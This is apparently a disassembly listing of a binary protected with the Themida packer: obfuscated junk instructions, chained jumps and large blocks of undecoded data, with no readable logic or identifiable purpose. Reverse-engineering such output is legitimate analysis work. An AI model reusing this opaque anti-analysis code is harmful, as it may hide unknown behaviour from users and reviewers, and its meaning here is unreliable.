		push	esp
		jmp	loc_62E759
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFD1h, 3003E9h, 24148900h, 540368h, 24048900h, 2088868h
		dd 0CC77E94Eh, 4E4EFFFFh, 26E9D6F7h, 21FFFFDCh,	0F7815EF7h
		dd 258FFF23h, 5977E9h, 46C7BA00h, 0D3295F00h, 0F2F3815Ah
		dd 3142D2D3h, 0EBE95BD8h, 59FFFFCAh, 3912E9h, 4C48100h
		dd 0E9000000h, 5DACh, 625D6852h, 1C890000h, 167AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62EA5E:				; CODE XREF: Themida_:006322DBj
		mov	ecx, 55F5075Eh
		jmp	loc_62BF67
; ---------------------------------------------------------------------------
		dd 0C581F501h, 54EC7DAEh, 242C875Eh, 2434FF5Ch,	0FFFF3DE9h
		dd 36E95EFFh, 8300001Ah, 36E904ECh, 81000026h, 0C72598CAh
		dd 0CA814A4Eh, 6DC9263Bh, 8108E2C1h, 0E7ABE3F2h, 5AD389ECh
		dd 202DE9h, 240C8700h, 0D7F75F5Ch, 3F20E9h, 81E28900h
		dd 4C2h, 4C28100h, 87000000h, 0E95C2414h, 1AEEh
; ---------------------------------------------------------------------------


loc_62EACC:				; CODE XREF: Themida_:006297A5j
		push	eax
		jmp	loc_63459E
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 1C8904ECh, 81E38924h, 4C3h, 79BF5700h, 8363DA7Ch, 148904ECh
		dd 2310BA24h, 0EA8131B0h, 2AD5107Fh, 57DAF74Ah,	932FF4BFh
		dd 1A2CE958h, 0E9AC0000h, 0FFFFB759h, 240C8B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	3DE6h
		jmp	loc_632A12
; ---------------------------------------------------------------------------


loc_62EB2D:				; CODE XREF: Themida_:006332D1j
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_62F784
; ---------------------------------------------------------------------------


loc_62EB4B:				; CODE XREF: Themida_:0063201Ej
		xor	ebx, 125E22E0h
		xor	ebx, 44FFE922h
		xor	eax, ebx
		jmp	loc_633D12
; ---------------------------------------------------------------------------
aIsi@		db 'I@',0
		align 4
		dd 4EC835Ch, 0BA241489h, 7BF2161h, 7932EA81h, 5E97EB4h
		dd 0BA000049h, 3713C55h, 96E28142h, 8128E603h, 73393BEAh
		dd 1CC28167h, 511BAE1Bh, 0A52413B9h, 9FC1812Eh,	812C8346h
		dd 0B52E11E1h, 32E9810Ah, 0E95BDE67h, 3658h, 8102EEC1h
		dd 0F0D452C6h, 5EF001C4h, 5C240487h, 0FFD273E9h, 243433FFh
		dd 4C4815Ch, 83000000h,	5DE904ECh, 5B000029h, 4BA52h, 0D6290000h
		dd 2434875Ah, 2434895Ch, 24048150h, 5B755027h, 154BE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62EBF6:				; CODE XREF: Themida_:00631198j
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 2
		add	edx, 5A7B59F2h
		add	edx, ebx
		jmp	loc_62E4BE
; ---------------------------------------------------------------------------
		db 28h
		dd 27E95BFAh, 8B00001Ah, 0C4832414h, 0B31BE904h, 0D7BAFFFFh
		dd 0E974DC0Ah, 3D0Eh, 0F281F287h, 0F2B2A0Fh, 0B8B850h
		dd 82E9670Ah, 0D00002Eh, 33246B7Bh, 15FB6B05h, 85EE8197h
		dd 0E9242912h, 0FFFFECC5h, 8E0C148h, 0ED63320Dh, 418BE928h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62EC6A:				; CODE XREF: Themida_:0063221Dj
		add	bl, al
		pop	eax
		pop	ecx
		jmp	loc_630449
; ---------------------------------------------------------------------------
		db 66h
		dd 66240CFFh, 0EE81665Eh, 566DFF1h, 56666C7h, 1660A52h
		dd 522D66F0h, 0C72D660Ah, 2434FF66h, 4C4835Eh, 3A30E9h
		dd 2434FF00h, 0FFF0D5E9h, 0FF665CFFh, 0E99C2404h, 0FFFF9E0Dh
		dd 8B2434FFh, 89522404h, 4C281E2h, 83000000h, 148704C2h
		dd 4648E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62ECCA:				; CODE XREF: Themida_:006334DEj
		add	eax, edx
		pop	edx
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_63270E
; ---------------------------------------------------------------------------
		dw 9705h
		dd 1348868h, 68972DD8h,	0D7E93488h, 8100004Dh, 155EB6EBh
		dd 0DE89562Ch, 0FFC1CAE9h, 4C181FFh, 81000000h,	4C1h, 1D56E900h
		dd 0C8B0000h, 4C48324h,	6FEB80h, 241C8BD8h, 0E9E38953h
		dd 0FFFFE42Eh, 0E924048Fh, 0FFFFC286h, 6268E789h, 89000031h
		dd 50E92414h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62ED37:				; CODE XREF: Themida_:0062F5F6j
		sub	esi, 1
		sub	esi, 0FFFFFFFFh
		jmp	loc_632F94
; ---------------------------------------------------------------------------
		dd 0E938EB80h, 199Bh, 0B7A0F781h, 0E98149FBh, 69AA2751h
		dd 0C181F901h, 69AA2751h, 2BF575Fh, 81000000h, 0AE5B17C1h
		dd 79E98146h, 1315B70h,	79C181F9h, 81315B70h, 0AE5B17E9h
		dd 243C8B46h, 3304C483h, 0C31240Ch, 240C3324h, 6624248Bh
		dd 0E99CC885h, 0FFFF9D1Dh, 7699B951h, 4C013659h, 1590424h
		dd 41E92404h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62EDB3:				; CODE XREF: Themida_:0062A039j
		and	edx, 160F6CFCh
		jmp	loc_63173B
; ---------------------------------------------------------------------------
		dw 0C780h
		dd 80EF008Fh, 8B668FEFh, 0C481240Ch, 2,	0E2ED80h, 0E2C580FDh
		dd 59E8305Bh, 0B60FC330h, 48F66C0h, 61ACE987h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62EDEA:				; CODE XREF: Themida_:006292CAj
		mov	edi, esp
		jmp	loc_6301A0
; ---------------------------------------------------------------------------


loc_62EDF1:				; CODE XREF: Themida_:006325CCj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_630F52
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 7BD340EBh, 0BF19C181h, 0C801842Ch, 4E88359h,	0E9240433h
		dd 3879h, 240C8758h, 9C9FE95Ch,	74FFFFFFh, 8F5D0424h, 0E9E92404h
		dd 81FFFFBDh, 2E4004C6h, 19C181FDh, 174A86Eh, 19E981F1h
		dd 5E74A86Eh, 0A5BBA52h, 0D2F710C4h, 68h, 133FE900h, 8B660000h
		dd 49E92404h, 3Fh, 515B59E8h, 0B25204B1h, 0F5F28056h, 0F604E2C0h
		dd 80D2F6D2h, 0D000DFEAh, 0E924148Bh, 5D1Eh, 0D731E95Fh
		dd 3487FFFFh, 0C4815C24h, 4, 4EC81h, 0C890000h,	81E18924h
		dd 4ECh, 0C57DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62EEA2:				; CODE XREF: Themida_:00633349j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 7CE24E01h
		mov	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_629C31
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 1058669Dh, 0E99C2404h, 0FFFF9BF5h, 592434FFh, 10BEE9h
		db 0
; ---------------------------------------------------------------------------


loc_62EED1:				; CODE XREF: Themida_:00630019j
		add	esp, 4
		push	40E3h
		mov	[esp], ebx
		mov	ebx, 24h
		add	ebx, edi
		add	[ebx], ebp
		jmp	loc_62F76F
; ---------------------------------------------------------------------------


loc_62EEED:				; CODE XREF: Themida_:00634866j
		mov	edi, ebx
		mov	ecx, edi
		pop	edi
		mov	ebx, [esp]
		jmp	loc_62DFC8
; ---------------------------------------------------------------------------
		dw 215Ch
		dd 0E99C2404h, 1773h, 4C681h, 0C6830000h, 74FF5602h, 2FE90424h
		dd 89FFFFA5h, 4832424h,	48F0424h, 4EC8324h, 0E9241C89h
		dd 0FFFFEE5Dh, 50F7E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62EF32:				; CODE XREF: Themida_:0062F792j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_6322C4
; ---------------------------------------------------------------------------


loc_62EF43:				; CODE XREF: Themida_:0063409Aj
		push	edx
		mov	edx, 6CA6355Ch
		jmp	loc_632813
; ---------------------------------------------------------------------------


loc_62EF4E:				; CODE XREF: Themida_:00633360j
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_62CF92
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 1AAEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62EF6E:				; CODE XREF: Themida_:0062F531j
		pop	esi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		mov	ecx, 627876B9h
		add	eax, ecx
		jmp	loc_62E155
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815A2434h, 4C4h, 5B545300h, 0BA8DE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62EF96:				; CODE XREF: Themida_:00632763j
		add	edi, edx
		add	edi, 5CF5013Ch
		pop	edx
		xor	edi, [esp]
		jmp	loc_62C5A1
; ---------------------------------------------------------------------------


loc_62EFA7:				; CODE XREF: Themida_:00633176j
		add	esp, 4
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_63202F
		push	edi
		mov	edi, 16163310h
		xor	edi, 8892DC9h
		mov	edx, edi
		pop	edi
		push	edx
		not	dword ptr [esp]
		pop	edx
		shl	edx, 6
		and	edx, 72933182h
		jmp	loc_62959F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5AF58800h, 6866812Ch, 67E917CBh, 31FFFF9Bh, 0B09CE9EBh
		dd 0AEE9FFFFh
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62F00F:				; CODE XREF: Themida_:0063481Ej
		pop	ebx
		dec	ecx
		xor	ecx, 136F1795h
		add	edx, ecx
		pop	ecx
		pop	esi
		pop	ebx
		add	edx, edi
		sub	esp, 4
		jmp	loc_634823
; ---------------------------------------------------------------------------
		db 8Fh,	2, 0E9h
		dd 0FFFF9A8Dh
; ---------------------------------------------------------------------------


loc_62F030:				; CODE XREF: Themida_:0063371Fj
		push	7944h
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	6697h
		mov	[esp], ebx
		mov	ebx, 4
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		not	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_633CAF
; ---------------------------------------------------------------------------
		db 80h
		dd 0E72805C7h, 0E905EF80h, 2FC3h, 4BF57h, 0F8010000h, 2404335Fh
		dd 33240431h, 248B2404h, 0C8AF0F24h, 3BE99C51h,	57000037h
		dd 0FFE0F0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62F0A9:				; CODE XREF: Themida_:00629F3Aj
		mov	ebx, [esp]
		jmp	loc_62DAB3
; ---------------------------------------------------------------------------


loc_62F0B1:				; CODE XREF: Themida_:00629550j
		add	esp, 4
		jmp	loc_62A8AA
; ---------------------------------------------------------------------------


loc_62F0B9:				; CODE XREF: Themida_:0062A8F3j
		sub	al, bh
		jmp	loc_634020
; ---------------------------------------------------------------------------
		dd 9598EE81h, 0F18964A0h, 81D9F75Eh, 549627F1h,	59CF29F5h
		dd 0F707EFC1h, 0DFF747DFh, 4B1E952h, 50660000h,	0C78001B4h
		dd 80E728D3h, 1E9D3EFh,	83000033h, 0C8904ECh, 0E9E98924h
		dd 0FFFFE89Dh, 0E940478Fh, 0FFFF99B5h
; ---------------------------------------------------------------------------


loc_62F108:				; CODE XREF: Themida_:0062C896j
		sub	[esp+4], esi
		jmp	loc_631795
; ---------------------------------------------------------------------------


loc_62F111:				; CODE XREF: Themida_:006320CAj
		pop	ecx
		not	ecx
		push	eax
		push	ecx
		pop	eax
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_62ABF0
; ---------------------------------------------------------------------------
		dd 0C75C9BB8h, 14E94078h, 83FFFFFBh, 0E95304EBh, 12E6h
		dd 2E46BBB9h, 59C88951h, 3684E9h
		db 0
; ---------------------------------------------------------------------------


loc_62F149:				; CODE XREF: Themida_:0062DB99j
		mov	eax, 44A05D94h
		sub	ebp, 6BF71F10h
		add	ebp, eax
		add	ebp, 6BF71F10h
		pop	eax
		pop	edi
		jmp	loc_629762
; ---------------------------------------------------------------------------


loc_62F163:				; CODE XREF: Themida_:0062AE6Cj
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_62E027
; ---------------------------------------------------------------------------


loc_62F172:				; CODE XREF: Themida_:0062E6D3j
		sub	esi, 65702E0Eh
		sub	esi, ecx
		jmp	loc_633C0B
; ---------------------------------------------------------------------------


loc_62F17F:				; CODE XREF: Themida_:00631662j
		push	edx
		mov	edx, 55672C82h
		jmp	loc_62A7C7
; ---------------------------------------------------------------------------
		dw 3487h
		dd 5C015C24h, 0DBE90424h, 56000046h, 0FFDC50E9h, 1AE959FFh
		dd 8BFFFF99h, 0C8B2424h, 0E2895224h, 0F41E9h, 6E7BB800h
		dd 0C3013547h, 8124048Bh, 4C4h,	0B226E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62F1C6:				; CODE XREF: Themida_:0062A633j
		add	esp, 4
		sub	esp, 2
		mov	[esp], ax
		jmp	loc_632F03
; ---------------------------------------------------------------------------


loc_62F1DB:				; CODE XREF: Themida_:0062A5E1j
		pop	ecx
		sub	edx, eax
		push	ebx
		jmp	loc_634DB0
; ---------------------------------------------------------------------------
		dd 72E5CB81h, 2EE91A96h, 80000052h, 8A3B242Ch, 0C483243Ch
		dd 53516604h, 1FE903B3h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62F203:				; CODE XREF: Themida_:0062FF4Aj
		push	edx
		mov	edx, 4F3F09EEh
		shl	edx, 3
		inc	edx
		sub	edx, 62D36761h
		sub	edx, 3CD019B4h
		shl	edx, 6
		sub	edx, 59F0518Ch
		add	edx, 413ABE1Ch
		jmp	loc_62AEA0
; ---------------------------------------------------------------------------
		db 28h,	0FDh, 5Bh
		dd 0FFF639E9h, 4C281FFh, 51000000h, 0C1815954h,	4, 4B850h
		dd 0F9E90000h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62F24F:				; CODE XREF: Themida_:0062D32Cj
		pop	eax
		jmp	loc_634CE8
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0D7010000h, 0DE3BE95Ah, 31ADFFFFh, 4BBAE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62F26A:				; CODE XREF: Themida_:00632DDBj
		push	edx
		mov	edx, 68947F0Dh
		neg	edx
		add	edx, 75A954E2h
		sub	edx, 251D36D1h
		jmp	loc_62A573
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4196658h,	2AE99C24h, 89FFFF98h, 0B252241Ch
		dd 0E9B5B303h, 0FFFFE304h, 0B050C2FEh, 58C20069h, 34FFD508h
		dd 1A68E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62F2B2:				; CODE XREF: Themida_:0062F50Aj
		pop	ebx
		sub	eax, 29AA68F3h
		sub	eax, esi
		add	eax, 29AA68F3h
		sub	eax, 30009A8h
		push	ebp
		mov	ebp, 32A4570h
		jmp	loc_62E498
; ---------------------------------------------------------------------------
		db 59h
		dd 72A9EA81h, 0EA0105FEh, 72A9C281h, 0E95D05FEh, 5935h
		dd 341BE953h, 0FB010000h, 45C3815Fh, 0E926B802h, 0FFFFD3C5h
		dd 1F8AEB81h, 0CB81128Fh, 142200EEh, 0FFE049E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62F309:				; CODE XREF: Themida_:0062E6F4j
		mov	edx, ebx
		push	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_630970
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0DFEE9h, 5E08900h, 4, 8704C083h, 0FBE92404h,	0BDFFFFF4h
		dd 7B901BEEh, 0F707EDC1h, 7EDC1DDh, 2B93E9h, 2A685000h
		dd 8900004Ah, 45B7241Ch, 505BFC88h, 6B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_62F355:				; CODE XREF: Themida_:0062C532j
		push	esi
		mov	esi, 2BB77021h
		mov	edi, esi
		pop	esi
		xor	edi, 2B7565DEh
		jmp	loc_62DC40
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 50241489h, 9961E99Ch, 8B66FFFFh, 0C4812414h,	2, 3890E9h
		db 0
; ---------------------------------------------------------------------------


loc_62F385:				; CODE XREF: Themida_:00634718j
		neg	eax
		xor	eax, 88A469Dh
		jmp	loc_634B4A
; ---------------------------------------------------------------------------


loc_62F391:				; CODE XREF: Themida_:006333F0j
		mov	edx, esp
		add	edx, 4
		jmp	loc_63181C
; ---------------------------------------------------------------------------
		dw 2568h
		dd 595E390Bh, 259BE181h, 60E9294Bh, 87FFFFCFh, 248B2434h
		dd 243C8B24h, 4C481h, 0FAE90000h, 0DFFFF96h, 6B887B0Eh
		dd 0FB18730Dh, 0CEBA5278h, 57706340h, 0E051E4BFh, 0BA5261h
		dd 29000000h, 5AD789FAh, 0BFF7814Fh, 814BFA4Eh,	0EB2029CFh
		dd 81DFF73Eh, 0B075FDF7h, 5FF82940h, 39E9D001h,	59000002h
		dd 1EC2815Bh, 817A6355h, 190687EAh, 96A7E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62F416:				; CODE XREF: Themida_:0062A8ACj
		mov	dl, 13h
		add	bl, dl
		pop	dx
		add	bl, al
		push	edx
		mov	dl, 15h
		sub	dl, 0ABh
		dec	dl
		not	dl
		add	dl, 2Ah
		neg	dl
		dec	dl
		push	ebx
		mov	bl, 9Bh
		not	bl
		add	bl, 0A6h
		push	dx
		mov	dh, 0EFh
		sub	bl, 38h
		add	bl, dh
		jmp	loc_6330E7
; ---------------------------------------------------------------------------
		db 1, 5Ch, 24h
		dd 241C8B04h, 4C481h, 48F0000h,	0E0895024h, 405h, 4E88300h
		dd 5C240487h, 50240C89h, 146E3FB8h, 91C5B97Bh, 0C10184EBh
		dd 59EE958h, 0E9C10000h, 1C18106h, 0E9000000h, 0FFFFA6B7h
; ---------------------------------------------------------------------------


loc_62F488:				; CODE XREF: Themida_:00631C3Cj
		jmp	loc_628ABD
; ---------------------------------------------------------------------------


loc_62F48D:				; CODE XREF: Themida_:006296D6j
		xor	ebp, eax
		pop	eax
		jmp	loc_630AB7
; ---------------------------------------------------------------------------
		db 5Bh,	83h, 0C7h
		dd 243C8704h, 0DDCE9h, 83E95B00h, 5A00005Ch, 222FE9h
		db 0
; ---------------------------------------------------------------------------


loc_62F4AD:				; CODE XREF: Themida_:0062B490j
		shl	edx, 1
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		push	edi
		mov	edi, 7DD22D5Ah
		jmp	loc_6343B4
; ---------------------------------------------------------------------------


loc_62F4C3:				; CODE XREF: Themida_:0062CF9Aj
		add	dh, cl
		pop	ecx
		jmp	loc_62D185
; ---------------------------------------------------------------------------
		db 81h
		dd 0F514FFEDh, 0E9EF89FCh, 4BA0h, 15638A25h, 68D0F743h
		dd 4984h, 0BB241C89h, 39B752D1h, 2946F381h, 0D80960CAh
		dd 81241C8Bh, 4C4h, 0C6BA5200h,	0E9CF0485h, 0FFFFBEAEh
; ---------------------------------------------------------------------------


loc_62F508:				; CODE XREF: Themida_:0062DC9Dj
		add	eax, ebx
		jmp	loc_62F2B2
; ---------------------------------------------------------------------------
		db 57h
		dd 42474FFh, 24048F5Fh,	0FF9946E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62F51D:				; CODE XREF: Themida_:0062DC80j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_6325C9
; ---------------------------------------------------------------------------


loc_62F52B:				; CODE XREF: Themida_:0062FF74j
		add	esp, 4
		jmp	loc_62EF6E
; ---------------------------------------------------------------------------


loc_62F536:				; CODE XREF: Themida_:00631576j
		mov	esi, [esp]
		jmp	loc_629FB5
; ---------------------------------------------------------------------------
		dw 8359h
		dd 4EE904C4h, 83FFFFEAh, 0C48104C4h, 4,	0A385E955h, 0FE87FFFFh
		dd 0B850515Fh, 5FF52816h, 0E02D4848h, 35147A4Dh, 2B545756h
		dd 49691705h, 2586E982h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62F576:				; CODE XREF: Themida_:0062B5D1j
		push	dx
		mov	dh, 0C6h
		jmp	loc_629F32
; ---------------------------------------------------------------------------
		db 8Bh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_633184
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0D20C271Dh, 215AD729h, 0E9515FFEh, 3599h
; ---------------------------------------------------------------------------


loc_62F5A4:				; CODE XREF: Themida_:0062B267j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_629E6F
; ---------------------------------------------------------------------------


loc_62F5AE:				; CODE XREF: Themida_:00631976j
		pop	edi
		add	eax, 0FFFFFFFFh
		push	ebp
		jmp	loc_629902
; ---------------------------------------------------------------------------


loc_62F5B8:				; CODE XREF: Themida_:006334A4j
		push	eax
		mov	eax, 32FE11F8h
		mov	ebp, 41030239h
		shl	ebp, 2
		inc	ebp
		jmp	loc_632DFF
; ---------------------------------------------------------------------------
		dd 5F80159h, 0E825A5h, 81243C8Bh, 4C4h,	4EC8300h, 5C40E9h
		dd 0E2895200h, 0FF9CBAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62F5ED:				; CODE XREF: Themida_:0062C6FFj
		add	edi, 682CDA64h
		or	esi, edi
		pop	edi
		jmp	loc_62ED37
; ---------------------------------------------------------------------------
		db 1
		dd 240C8BCBh, 0FFA5F5E9h, 34E950FFh
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62F60B:				; CODE XREF: Themida_:0062CBDEj
		shr	esi, 6
		shl	esi, 5
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	6ED4h
		mov	[esp], ecx
		jmp	loc_62E6CE
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 0AC2D0BBFh,	33C2E968h, 0E9540000h
		dd 0FFFFD9D3h, 0A06AAE05h, 0B9515A40h, 73E6101h, 0FFDB12E9h
		dd 241489FFh, 4BAh, 0BFC58100h,	11AB637h, 0BFB850D5h, 291AB637h
		dd 0F252E9C5h, 0E95EFFFFh, 0FFFFF4EEh
; ---------------------------------------------------------------------------


loc_62F670:				; CODE XREF: Themida_:0062E304j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	dword ptr [esp], 5F346956h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esp, 4
		add	edi, 5F346956h
		mov	eax, edi
		mov	edi, [esp]
		jmp	loc_629207
; ---------------------------------------------------------------------------
		db 89h
		dd 15BB241Ch, 891A5D18h, 16C9E9D8h, 65BA0000h, 290073F6h
		dd 38E95AD0h, 83000021h, 0FF042404h, 0E95B2434h, 2D62h
		dd 24048B66h, 30F768h, 1818E900h, 0C1680000h, 0E900003Fh
		dd 2B1h
; ---------------------------------------------------------------------------


loc_62F6F0:				; CODE XREF: Themida_:00634599j
		pop	edi
		jmp	loc_62A094
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 83242489h, 0FF042404h, 148B2434h,	0D713E924h, 835CFFFFh
		dd 2C8904ECh, 0EC815024h, 4, 0BD242C89h, 302DE3AEh, 0A4E9E889h
		dd 30FFFFC9h, 0D5B3E9D8h, 48FFFFFh, 0F9F65C24h,	0CCB60F66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	4AFBh
		mov	[esp], ebp
		push	6FB553B9h
		pop	ebp
		sub	ebp, 59C61715h
		push	edi
		mov	edi, ebp
		mov	ecx, edi
		jmp	loc_632FDA
; ---------------------------------------------------------------------------


loc_62F75E:				; CODE XREF: Themida_:0063240Fj
		add	esp, 4
		jmp	loc_62E938
; ---------------------------------------------------------------------------


loc_62F769:				; CODE XREF: Themida_:0062C13Dj
		pop	esp
		jmp	loc_631D33
; ---------------------------------------------------------------------------


loc_62F76F:				; CODE XREF: Themida_:0062EEE8j
		pop	ebx
		pop	ebp


loc_62F771:				; CODE XREF: Themida_:00630F3Aj
		push	ebx
		jmp	loc_62A0D7
; ---------------------------------------------------------------------------
		db 83h
		dd 572D01E8h, 0E923F760h, 0FFFFCAB4h
; ---------------------------------------------------------------------------


loc_62F784:				; CODE XREF: Themida_:0062EB46j
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		add	dword ptr [esp], 6D5F1904h
		pop	eax
		jmp	loc_62EF32
; ---------------------------------------------------------------------------
		db 89h
		dd 4BF243Ch, 0E9000000h, 0FFFFB9BFh, 4E981h, 0C870000h
		dd 2DFEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62F7B2:				; CODE XREF: Themida_:0062E93Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_62DC37
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 6
aBhxm		db 'BhXM',0
		align 2
		dw 3C89h
		dd 62685324h, 5B649F61h, 3A91EB81h, 88E92EF7h, 81FFFFCDh
		dd 2A77FBC1h, 9601E967h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62F7E6:				; CODE XREF: Themida_:0063170Fj
		push	5D26h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_628AFE
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F8BEE9D6h, 0FDBEFFFFh, 81200F1Fh, 0F24A06C6h, 0FFEE812Ch
		dd 4EFFFFFFh, 4FEAF681h, 13E925D2h, 8300003Dh, 48702E8h
		dd 84E95C24h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62F82B:				; CODE XREF: Themida_:0062A08Fj
		mov	edx, esp
		push	eax
		jmp	loc_62D320
; ---------------------------------------------------------------------------
		db 89h
		dd 8956243Ch, 0A03DE9E6h, 0EE81FFFFh, 8A66108Eh, 815EF589h
		dd 4C3DD6CDh, 0FFC58162h, 68FFFFFFh, 452Fh, 0BB241C89h
		dd 271F379Ah, 815BDD29h, 9A1122C5h, 0E9EF01BDh,	0FFFFB0EAh
		dd 56E95866h, 53000037h, 0C381E389h, 4,	4EB81h,	10E90000h
		dd 0FFFFFFCCh, 17E92434h, 89000033h, 50E9241Ch,	31000049h
		dd 48C131C8h, 0FFEC67E9h, 0EB815EFFh, 1B972B37h, 0FFB184E9h
		dd 36C05FFh, 4AE96D3Fh,	81FFFFF0h, 2269BFC7h, 0C7835932h
		dd 8286802h, 3C890000h,	2474FF24h, 0AEE9E904h, 8950FFFFh
		dd 405E0h, 4050000h, 33000000h,	91E92404h, 0ADFFFFE7h
		dd 0EDB85056h, 0E909BE22h, 0FFFFDF9Ah
; ---------------------------------------------------------------------------


loc_62F8F8:				; CODE XREF: Themida_:0062FA67j
		mov	esp, [esp]
		mov	[esp], esi
		push	4
		jmp	loc_62D3F6
; ---------------------------------------------------------------------------
		dd 6602EC83h, 0B3241C89h, 522CFCh, 0B65251D8h, 37DDE919h
		dd 8B5D0000h, 0C4832404h, 640E6804h, 1C890000h,	26824h
		dd 15B0000h, 0A686E9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62F93A:				; CODE XREF: Themida_:00630E3Aj
		mov	[esp], ebx
		push	1Ch
		pop	ebx
		add	ebx, edi
		mov	ecx, [ebx]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_62C287
; ---------------------------------------------------------------------------
		dd 2C481h, 88520000h, 24648AE6h, 24748804h, 4F17E904h
		dd 81590000h, 3830D1C1h, 241C8B73h, 8904EC83h, 0E189240Ch
		dd 0FFF37CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_62F97D:				; CODE XREF: Themida_:0062C936j
		add	al, dl
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_62FC00
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 2C335BDDh,	242C3124h, 5C242C33h, 0FF911CE9h
		dd 240489FFh, 8F4D4FB8h, 0B605481Ah, 0E9E570B2h, 0FFFFE69Dh
		dd 0F5E9DF01h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_62F9BB:				; CODE XREF: Themida_:0062B968j
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 774D4DD9h
		jmp	loc_631FBC
; ---------------------------------------------------------------------------
